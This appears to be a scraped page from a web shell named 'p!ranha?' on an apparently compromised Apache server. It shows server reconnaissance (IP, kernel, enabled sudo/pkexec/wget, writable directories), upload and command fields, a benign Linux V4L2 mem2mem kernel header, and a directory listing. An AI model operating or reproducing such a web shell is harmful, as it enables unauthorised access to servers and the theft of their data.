p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/media/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/media/v4l2-mem2mem.h
/*
 * Memory-to-memory device framework for Video for Linux 2.
 *
 * Helper functions for devices that use memory buffers for both source
 * and destination.
 *
 * Copyright (c) 2009 Samsung Electronics Co., Ltd.
 * Pawel Osciak, <pawel@osciak.com>
 * Marek Szyprowski, <m.szyprowski@samsung.com>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by the
 * Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version
 */

#ifndef _MEDIA_V4L2_MEM2MEM_H
#define _MEDIA_V4L2_MEM2MEM_H

#include <media/videobuf2-core.h>

/**
 * struct v4l2_m2m_ops - mem-to-mem device driver callbacks
 * @device_run:	required. Begin the actual job (transaction) inside this
 *		callback.
 *		The job does NOT have to end before this callback returns
 *		(and it will be the usual case). When the job finishes,
 *		v4l2_m2m_job_finish() has to be called.
 * @job_ready:	optional. Should return 0 if the driver does not have a job
 *		fully prepared to run yet (i.e. it will not be able to finish a
 *		transaction without sleeping). If not provided, it will be
 *		assumed that one source and one destination buffer are all
 *		that is required for the driver to perform one full transaction.
 *		This method may not sleep.
 * @job_abort:	required. Informs the driver that it has to abort the currently
 *		running transaction as soon as possible (i.e. as soon as it can
 *		stop the device safely; e.g. in the next interrupt handler),
 *		even if the transaction would not have been finished by then.
 *		After the driver performs the necessary steps, it has to call
 *		v4l2_m2m_job_finish() (as if the transaction ended normally).
 *		This function does not have to (and will usually not) wait
 *		until the device enters a state when it can be stopped.
 */
struct v4l2_m2m_ops {
	void (*device_run)(void *priv);
	int (*job_ready)(void *priv);
	void (*job_abort)(void *priv);
	void (*lock)(void *priv);
	void (*unlock)(void *priv);
};

struct v4l2_m2m_dev;

struct v4l2_m2m_queue_ctx {
/* private: internal use only */
	struct vb2_queue	q;

	/* Queue for buffers ready to be processed as soon as this
	 * instance receives access to the device */
	struct list_head	rdy_queue;
	spinlock_t		rdy_spinlock;
	u8			num_rdy;
};

struct v4l2_m2m_ctx {
/* private: internal use only */
	struct v4l2_m2m_dev		*m2m_dev;

	/* Capture (output to memory) queue context */
	struct v4l2_m2m_queue_ctx	cap_q_ctx;

	/* Output (input from memory) queue context */
	struct v4l2_m2m_queue_ctx	out_q_ctx;

	/* For device job queue */
	struct list_head		queue;
	unsigned long			job_flags;
	wait_queue_head_t		finished;

	/* Instance private data */
	void				*priv;
};

struct v4l2_m2m_buffer {
	struct vb2_buffer	vb;
	struct list_head	list;
};

void *v4l2_m2m_get_curr_priv(struct v4l2_m2m_dev *m2m_dev);

struct vb2_queue *v4l2_m2m_get_vq(struct v4l2_m2m_ctx *m2m_ctx,
				       enum v4l2_buf_type type);

void v4l2_m2m_job_finish(struct v4l2_m2m_dev *m2m_dev,
			 struct v4l2_m2m_ctx *m2m_ctx);

static inline void
v4l2_m2m_buf_done(struct vb2_buffer *buf, enum vb2_buffer_state state)
{
	vb2_buffer_done(buf, state);
}

int v4l2_m2m_reqbufs(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
		     struct v4l2_requestbuffers *reqbufs);

int v4l2_m2m_querybuf(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
		      struct v4l2_buffer *buf);

int v4l2_m2m_qbuf(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
		  struct v4l2_buffer *buf);
int v4l2_m2m_dqbuf(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
		   struct v4l2_buffer *buf);
int v4l2_m2m_create_bufs(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
			 struct v4l2_create_buffers *create);

int v4l2_m2m_expbuf(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
		   struct v4l2_exportbuffer *eb);

int v4l2_m2m_streamon(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
		      enum v4l2_buf_type type);
int v4l2_m2m_streamoff(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
		       enum v4l2_buf_type type);

unsigned int v4l2_m2m_poll(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
			   struct poll_table_struct *wait);

int v4l2_m2m_mmap(struct file *file, struct v4l2_m2m_ctx *m2m_ctx,
		  struct vm_area_struct *vma);

struct v4l2_m2m_dev *v4l2_m2m_init(const struct v4l2_m2m_ops *m2m_ops);
void v4l2_m2m_release(struct v4l2_m2m_dev *m2m_dev);

struct v4l2_m2m_ctx *v4l2_m2m_ctx_init(struct v4l2_m2m_dev *m2m_dev,
		void *drv_priv,
		int (*queue_init)(void *priv, struct vb2_queue *src_vq, struct vb2_queue *dst_vq));

void v4l2_m2m_ctx_release(struct v4l2_m2m_ctx *m2m_ctx);

void v4l2_m2m_buf_queue(struct v4l2_m2m_ctx *m2m_ctx, struct vb2_buffer *vb);

/**
 * v4l2_m2m_num_src_bufs_ready() - return the number of source buffers ready for
 * use
 */
static inline
unsigned int v4l2_m2m_num_src_bufs_ready(struct v4l2_m2m_ctx *m2m_ctx)
{
	return m2m_ctx->out_q_ctx.num_rdy;
}

/**
 * v4l2_m2m_num_src_bufs_ready() - return the number of destination buffers
 * ready for use
 */
static inline
unsigned int v4l2_m2m_num_dst_bufs_ready(struct v4l2_m2m_ctx *m2m_ctx)
{
	return m2m_ctx->cap_q_ctx.num_rdy;
}

void *v4l2_m2m_next_buf(struct v4l2_m2m_queue_ctx *q_ctx);

/**
 * v4l2_m2m_next_src_buf() - return next source buffer from the list of ready
 * buffers
 */
static inline void *v4l2_m2m_next_src_buf(struct v4l2_m2m_ctx *m2m_ctx)
{
	return v4l2_m2m_next_buf(&m2m_ctx->out_q_ctx);
}

/**
 * v4l2_m2m_next_dst_buf() - return next destination buffer from the list of
 * ready buffers
 */
static inline void *v4l2_m2m_next_dst_buf(struct v4l2_m2m_ctx *m2m_ctx)
{
	return v4l2_m2m_next_buf(&m2m_ctx->cap_q_ctx);
}

/**
 * v4l2_m2m_get_src_vq() - return vb2_queue for source buffers
 */
static inline
struct vb2_queue *v4l2_m2m_get_src_vq(struct v4l2_m2m_ctx *m2m_ctx)
{
	return &m2m_ctx->out_q_ctx.q;
}

/**
 * v4l2_m2m_get_dst_vq() - return vb2_queue for destination buffers
 */
static inline
struct vb2_queue *v4l2_m2m_get_dst_vq(struct v4l2_m2m_ctx *m2m_ctx)
{
	return &m2m_ctx->cap_q_ctx.q;
}

void *v4l2_m2m_buf_remove(struct v4l2_m2m_queue_ctx *q_ctx);

/**
 * v4l2_m2m_src_buf_remove() - take off a source buffer from the list of ready
 * buffers and return it
 */
static inline void *v4l2_m2m_src_buf_remove(struct v4l2_m2m_ctx *m2m_ctx)
{
	return v4l2_m2m_buf_remove(&m2m_ctx->out_q_ctx);
}

/**
 * v4l2_m2m_dst_buf_remove() - take off a destination buffer from the list of
 * ready buffers and return it
 */
static inline void *v4l2_m2m_dst_buf_remove(struct v4l2_m2m_ctx *m2m_ctx)
{
	return v4l2_m2m_buf_remove(&m2m_ctx->cap_q_ctx);
}

#endif /* _MEDIA_V4L2_MEM2MEM_H */

N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
blackfin
--
January 19 2024 08:12:51
0 / 0
0755
davinci
--
January 19 2024 08:12:51
0 / 0
0755
ad9389b.h
1.405 KB
November 06 2023 09:15:52
0 / 0
0644
adp1653.h
4.134 KB
November 06 2023 09:15:52
0 / 0
0644
adv7183.h
1.765 KB
November 06 2023 09:15:52
0 / 0
0644
adv7343.h
2.184 KB
November 06 2023 09:15:52
0 / 0
0644
adv7393.h
0.862 KB
November 06 2023 09:15:52
0 / 0
0644
adv7604.h
4.42 KB
November 06 2023 09:15:52
0 / 0
0644
ak881x.h
0.649 KB
November 06 2023 09:15:52
0 / 0
0644
as3645a.h
2.352 KB
November 06 2023 09:15:52
0 / 0
0644
atmel-isi.h
3.561 KB
November 06 2023 09:15:52
0 / 0
0644
bt819.h
1.146 KB
November 06 2023 09:15:52
0 / 0
0644
cec-notifier.h
4.191 KB
November 06 2023 09:15:52
0 / 0
0644
cec.h
12.034 KB
November 06 2023 09:15:52
0 / 0
0644
cs5345.h
1.182 KB
November 06 2023 09:15:52
0 / 0
0644
cs53l32a.h
1.168 KB
November 06 2023 09:15:52
0 / 0
0644
cx2341x.h
9.777 KB
November 06 2023 09:15:52
0 / 0
0644
cx25840.h
5.383 KB
November 06 2023 09:15:52
0 / 0
0644
gpio-ir-recv.h
0.716 KB
November 06 2023 09:15:52
0 / 0
0644
i2c-addr.h
1.177 KB
November 06 2023 09:15:52
0 / 0
0644
ir-kbd-i2c.h
1.192 KB
November 06 2023 09:15:52
0 / 0
0644
ir-rx51.h
0.159 KB
November 06 2023 09:15:52
0 / 0
0644
lirc.h
6.268 KB
November 06 2023 09:15:52
0 / 0
0644
lirc_dev.h
5.659 KB
November 06 2023 09:15:52
0 / 0
0644
m52790.h
2.721 KB
November 06 2023 09:15:52
0 / 0
0644
m5mols.h
1.052 KB
November 06 2023 09:15:52
0 / 0
0644
media-device.h
2.927 KB
November 06 2023 09:15:52
0 / 0
0644
media-devnode.h
2.938 KB
November 06 2023 09:15:52
0 / 0
0644
media-entity.h
4.681 KB
November 06 2023 09:15:52
0 / 0
0644
mmp-camera.h
0.175 KB
November 06 2023 09:15:52
0 / 0
0644
msp3400.h
8.286 KB
November 06 2023 09:15:52
0 / 0
0644
mt9m032.h
1.061 KB
November 06 2023 09:15:52
0 / 0
0644
mt9p031.h
0.326 KB
November 06 2023 09:15:52
0 / 0
0644
mt9t001.h
0.138 KB
November 06 2023 09:15:52
0 / 0
0644
mt9t112.h
0.674 KB
November 06 2023 09:15:52
0 / 0
0644
mt9v011.h
0.375 KB
November 06 2023 09:15:52
0 / 0
0644
mt9v022.h
0.354 KB
November 06 2023 09:15:52
0 / 0
0644
mt9v032.h
0.246 KB
November 06 2023 09:15:52
0 / 0
0644
noon010pc30.h
0.71 KB
November 06 2023 09:15:52
0 / 0
0644
omap1_camera.h
0.859 KB
November 06 2023 09:15:52
0 / 0
0644
omap3isp.h
4.285 KB
November 06 2023 09:15:52
0 / 0
0644
ov7670.h
0.601 KB
November 06 2023 09:15:52
0 / 0
0644
ov772x.h
1.396 KB
November 06 2023 09:15:52
0 / 0
0644
ov9650.h
0.854 KB
November 06 2023 09:15:52
0 / 0
0644
radio-si4713.h
0.668 KB
November 06 2023 09:15:52
0 / 0
0644
rc-core.h
7.538 KB
November 06 2023 09:15:52
0 / 0
0644
rc-map.h
9.161 KB
November 06 2023 09:15:52
0 / 0
0644
rj54n1cb0c.h
0.415 KB
November 06 2023 09:15:52
0 / 0
0644
s3c_camif.h
1.289 KB
November 06 2023 09:15:52
0 / 0
0644
s5c73m3.h
1.545 KB
November 06 2023 09:15:52
0 / 0
0644
s5k4ecgx.h
0.871 KB
November 06 2023 09:15:52
0 / 0
0644
s5k6aa.h
1.403 KB
November 06 2023 09:15:52
0 / 0
0644
s5p_fimc.h
5.022 KB
November 06 2023 09:15:52
0 / 0
0644
s5p_hdmi.h
0.962 KB
November 06 2023 09:15:52
0 / 0
0644
saa6588.h
1.296 KB
November 06 2023 09:15:52
0 / 0
0644
saa6752hs.h
0.866 KB
November 06 2023 09:15:52
0 / 0
0644
saa7115.h
2.417 KB
November 06 2023 09:15:52
0 / 0
0644
saa7127.h
1.242 KB
November 06 2023 09:15:52
0 / 0
0644
saa7146.h
17.499 KB
November 06 2023 09:15:52
0 / 0
0644
saa7146_vv.h
7.479 KB
November 06 2023 09:15:52
0 / 0
0644
sh_mobile_ceu.h
0.709 KB
November 06 2023 09:15:52
0 / 0
0644
sh_mobile_csi2.h
0.94 KB
November 06 2023 09:15:52
0 / 0
0644
sh_vou.h
0.699 KB
November 06 2023 09:15:52
0 / 0
0644
si4713.h
1.372 KB
November 06 2023 09:15:52
0 / 0
0644
si476x.h
1.232 KB
November 06 2023 09:15:52
0 / 0
0644
sii9234.h
0.576 KB
November 06 2023 09:15:52
0 / 0
0644
smiapp.h
2.473 KB
November 06 2023 09:15:52
0 / 0
0644
soc_camera.h
12.197 KB
November 06 2023 09:15:52
0 / 0
0644
soc_camera_platform.h
1.928 KB
November 06 2023 09:15:52
0 / 0
0644
soc_mediabus.h
3.564 KB
November 06 2023 09:15:52
0 / 0
0644
sr030pc30.h
0.613 KB
November 06 2023 09:15:52
0 / 0
0644
ths7303.h
1.231 KB
November 06 2023 09:15:52
0 / 0
0644
timb_radio.h
0.971 KB
November 06 2023 09:15:52
0 / 0
0644
timb_video.h
1.01 KB
November 06 2023 09:15:52
0 / 0
0644
tuner-types.h
4.589 KB
November 06 2023 09:15:52
0 / 0
0644
tuner.h
7.64 KB
November 06 2023 09:15:52
0 / 0
0644
tvaudio.h
1.393 KB
November 06 2023 09:15:52
0 / 0
0644
tveeprom.h
0.809 KB
November 06 2023 09:15:52
0 / 0
0644
tvp514x.h
2.758 KB
November 06 2023 09:15:52
0 / 0
0644
tvp5150.h
1.04 KB
November 06 2023 09:15:52
0 / 0
0644
tvp7002.h
1.927 KB
November 06 2023 09:15:52
0 / 0
0644
tw9910.h
0.766 KB
November 06 2023 09:15:52
0 / 0
0644
uda1342.h
0.938 KB
November 06 2023 09:15:52
0 / 0
0644
upd64031a.h
1.324 KB
November 06 2023 09:15:52
0 / 0
0644
upd64083.h
2.233 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-chip-ident.h
9.518 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-common.h
8.094 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-ctrls.h
26.854 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-dev.h
7.441 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-device.h
7.399 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-event.h
5.005 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-fh.h
3.259 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-image-sizes.h
0.702 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-int-device.h
7.663 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-ioctl.h
12.512 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-mediabus.h
3.507 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-mem2mem.h
6.495 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-of.h
2.073 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-subdev.h
26.723 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-core.h
6.99 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-dma-contig.h
1.037 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-dma-sg.h
3.285 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-dvb.h
1.721 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-vmalloc.h
1.291 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-core.h
19.184 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-dma-contig.h
0.812 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-dma-sg.h
0.797 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-memops.h
1.102 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-vmalloc.h
0.497 KB
November 06 2023 09:15:52
0 / 0
0644
wm8775.h
1.358 KB
November 06 2023 09:15:52
0 / 0
0644